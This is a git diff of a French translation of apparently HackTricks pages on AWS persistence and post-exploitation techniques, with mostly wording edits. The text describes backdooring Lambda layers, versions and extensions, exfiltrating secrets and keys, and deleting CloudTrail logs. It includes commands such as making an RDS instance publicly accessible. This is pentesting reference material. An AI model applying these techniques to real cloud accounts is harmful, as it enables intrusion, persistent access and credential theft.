+Vous pourriez créer une porte dérobée dans une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index b5c3de0c2..7f0c66c1f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -18,7 +18,7 @@ Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donne
Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
-Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
+Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant devrait surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
(Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants)
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 749443556..179d5907b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -10,7 +10,7 @@ Pour plus d'informations, consultez :
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Persistance de la couche Lambda
+### Persistence de la couche Lambda
Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
@@ -18,7 +18,7 @@ Il est possible d'**introduire/installer une porte dérobée dans une couche pou
aws-lambda-layers-persistence.md
{{#endref}}
-### Persistance de l'extension Lambda
+### Persistence de l'extension Lambda
En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
@@ -36,7 +36,7 @@ Il est possible d'accorder l'accès à différentes actions lambda (comme invoqu
Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
-De cette façon, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
+De cette manière, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
@@ -49,16 +49,16 @@ De cette façon, un attaquant pourrait créer une **version 1 avec porte dérob
1. Cela cachera le code avec porte dérobée dans une version précédente
4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1::function::1`
1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
-5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Déployer l'API`**
+5. Sélectionnez la méthode POST créée et dans Actions, sélectionnez **`Déployer l'API`**
6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
-### Actuator Cron/Event
+### Cron/Actionneur d'événements
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
-- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les altérer
+- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les modifier
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 6d87c2f22..18b9aa953 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,21 +1,21 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Abuser des extensions Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Extensions Lambda
Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
-- **Les extensions internes** fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme d'exécutions, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
-- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers environnements d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **environnements d'exécution personnalisés**.
+- **Les extensions internes** se fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme de temps d'exécution, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
+- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers temps d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **des temps d'exécution personnalisés**.
Pour plus d'informations sur [**comment fonctionnent les extensions lambda, consultez la documentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### Extension externe pour la persistance, le vol de requêtes et la modification des requêtes
+### Extension externe pour la persistance, le vol de requêtes et la modification de requêtes
-Voici un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Ceci est un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même identifiant utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
+Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même ID utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
De plus, bien que les extensions Lambda aient la capacité de **s'abonner aux événements d'invocation**, AWS ne révèle pas les données brutes à ces extensions. Cela garantit que **les extensions ne peuvent pas accéder aux informations sensibles** transmises via la requête HTTP.
@@ -28,13 +28,13 @@ La variable **`AWS_LAMBDA_RUNTIME_API`** indique l'**adresse IP** et le **numér
> [!WARNING]
> En changeant la variable d'environnement **`AWS_LAMBDA_RUNTIME_API`** à un **`port`** auquel nous avons accès, il est possible d'intercepter toutes les actions au sein de l'exécution Lambda (**man-in-the-middle**). Cela est possible car l'extension s'exécute avec les mêmes privilèges que Rapid Init, et le noyau du système permet la **modification de la mémoire des processus**, permettant l'altération du numéro de port.
-Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) au démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
+Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) lors de son démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
L'outil [**lambda-spy**](https://github.com/clearvector/lambda-spy) a été créé pour effectuer cette **écriture en mémoire** et **voler des informations sensibles** des requêtes lambda, d'autres **requêtes d'extensions** et même **les modifier**.
-## References
+## Références
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 2bd98bb1e..87174f17a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -6,9 +6,9 @@
Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.
-Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
+Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, **le contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
-Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
+Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre autorisation d'accès à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.
@@ -21,17 +21,17 @@ Le chemin de chargement que Python utilisera dans lambda est le suivant :
Vérifiez comment les **deuxième** et troisième **positions** sont occupées par des répertoires où les **lambda layers** décompressent leurs fichiers : **`/opt/python/lib/python3.9/site-packages`** et **`/opt/python`**
> [!CAUTION]
-> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui sera **exécutant du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
+> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui exécutera **du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
Par conséquent, les exigences sont :
-- **Vérifier les bibliothèques** qui sont **chargées** par le code des victimes
-- Créer une **bibliothèque proxy avec des lambda layers** qui va **exécuter du code personnalisé** et **charger la bibliothèque originale**.
+- **Vérifiez les bibliothèques** qui sont **chargées** par le code des victimes
+- Créez une **bibliothèque proxy avec des lambda layers** qui **exécutera du code personnalisé** et **chargera la bibliothèque originale**.
### Bibliothèques préchargées
> [!WARNING]
-> En abusant de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
+> Lors de l'abus de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
> Afin d'abuser de cette technique de persistance, le code doit **charger une nouvelle bibliothèque qui n'est pas chargée** lorsque le code est exécuté.
Avec un code python comme celui-ci, il est possible d'obtenir la **liste des bibliothèques qui sont préchargées** dans l'environnement d'exécution python dans lambda :
@@ -93,7 +93,7 @@ Le payload intégré **enverra les identifiants IAM à un serveur LA PREMIÈRE F
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### Couches Externes
+### Couches externes
Notez qu'il est possible d'utiliser **des couches lambda provenant de comptes externes**. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations.\
Notez également que le **nombre maximum de couches qu'une lambda peut avoir est de 5**.
@@ -101,7 +101,7 @@ Notez également que le **nombre maximum de couches qu'une lambda peut avoir est
Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :
- Backdoor une couche existante de l'utilisateur (rien n'est externe)
-- **Créer** une **couche** dans **son compte**, donner l'**accès au compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
+- **Créer** une **couche** dans **son compte**, donner l'**accès du compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
- La **Lambda** pourra toujours **utiliser la couche** et la **victime n'aura** aucun moyen facile de **télécharger le code des couches** (à part obtenir un shell inversé à l'intérieur de la lambda)
- La victime **ne verra pas les couches externes** utilisées avec **`aws lambda list-layers`**
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index f07f59477..453bbf4c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -14,19 +14,19 @@ Pour plus d'informations, consultez :
Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance.
-### Instances de porte dérobée
+### Backdoor Instances
-Un attaquant pourrait accéder aux instances et y installer une porte dérobée :
+Un attaquant pourrait accéder aux instances et les backdoor :
- En utilisant un **rootkit** traditionnel par exemple
- En ajoutant une nouvelle **clé SSH publique**
-- En exposant un port avec un knocking de port avec une porte dérobée
+- En exposant un port avec du port knocking avec une backdoor
### Persistance DNS
Si des domaines sont configurés :
-- Créez un sous-domaine pointant vers votre IP afin d'avoir un **sous-domaine takeover**
+- Créez un sous-domaine pointant vers votre IP afin d'avoir un **subdomain takeover**
- Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine
- Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 582846269..58f0b8439 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -12,13 +12,13 @@ Pour plus d'informations, consultez :
### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance`
-Un attaquant disposant de cette autorisation peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
+Un attaquant ayant cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Créer un utilisateur admin dans la DB
-Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur principal est modifié, il **ne perd pas l'accès** à la base de données.
+Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur maître est modifié, il **ne perd pas l'accès** à la base de données.
### Rendre le snapshot public
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index ef7a237e4..dc895b0fd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -12,14 +12,14 @@ Pour plus d'informations, consultez :
### KMS Client-Side Encryption
-Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée dans les métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
+Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée à l'intérieur des métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
-Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant disposera de la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
+Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant aura la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
### Using S3 ACLs
-Bien que les ACL des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
+Bien que les ACL des buckets soient généralement désactivées, un attaquant ayant suffisamment de privilèges pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 775fc4539..2f95ab5d2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,4 +1,4 @@
-# AWS - Persistence de Secrets Manager
+# AWS - Persistence du Secrets Manager
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,9 +12,9 @@ Pour plus d'infos, consultez :
### Via les politiques de ressources
-Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe aura également **besoin d'accès à la clé KMS chiffrant le secret**.
+Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc du Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**.
-### Via Lambda de rotation de secrets
+### Via Lambda de rotation des secrets
Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index cc5fbe7f2..064ef3794 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Persistence
-Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, des ARN de rôles, ou **même "\*"**.\
+Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
La politique suivante donne à tout le monde dans AWS l'accès pour lire et écrire dans le SNS topic appelé **`MySNS.fifo`** :
```json
{
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..a77def3c5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - Persistance SSM
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 123b875b6..f9d8198ae 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Backdooring des Step Functions
-Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance afin que chaque fois qu'elle soit exécutée, elle exécute vos étapes malveillantes.
+Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance, de sorte que chaque fois qu'elle est exécutée, elle exécutera vos étapes malveillantes.
### Backdooring des alias
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index c7d303d71..ba88d28b5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -12,12 +12,12 @@ Pour plus d'informations, consultez :
### Accéder aux API non exposées
-Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et assigner un groupe de sécurité permettant toutes les connexions.\
+Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.\
Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.
### Contourner le passage du corps de la requête
-Cette technique a été trouvée dans [**ce rapport CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Cette technique a été trouvée dans [**ce compte rendu CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Comme indiqué dans la [**documentation AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back-end sans transformation.
@@ -32,9 +32,9 @@ Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possib
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-### Usage Plans DoS
+### Plans d'utilisation DoS
-Dans la section **Enumeration**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
+Dans la section **Énumération**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
La **clé API** doit simplement être **incluse** dans un **en-tête HTTP** appelé **`x-api-key`**.
@@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-Un attaquant disposant des autorisations `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
+Un attaquant ayant les permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 7366d190c..7bfede9ce 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Man-in-the-Middle
-Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où un **Lambda** pourrait être ajouté (ou modifié s'il est déjà utilisé) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
+Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
#### scénario 1 : MitM où CloudFront est configuré pour accéder à un HTML d'un bucket
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 33b79f447..0a9fe418b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Vérifier les Secrets
-Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme des secrets dans le gestionnaire de secrets**.\
+Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme secrets dans le gestionnaire de secrets**.\
Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
{{#ref}}
@@ -38,7 +38,7 @@ Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
> Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
> Ou peut-être ? Consultez la section suivante
-### Divulgation des Jetons d'Accès depuis AWS CodeBuild
+### Fuite des Jetons d'Accès depuis AWS CodeBuild
Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
